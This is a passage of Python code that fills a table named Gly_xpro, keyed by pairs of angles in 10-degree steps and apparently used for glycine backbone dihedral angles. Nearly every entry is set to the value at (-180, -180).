Gly_xpro[(-90, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-80, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-70, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-60, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-50, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-40, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-30, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-20, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-10, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(0, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(10, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(20, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(30, 160)]=Gly_xpro[(-180, -180)]
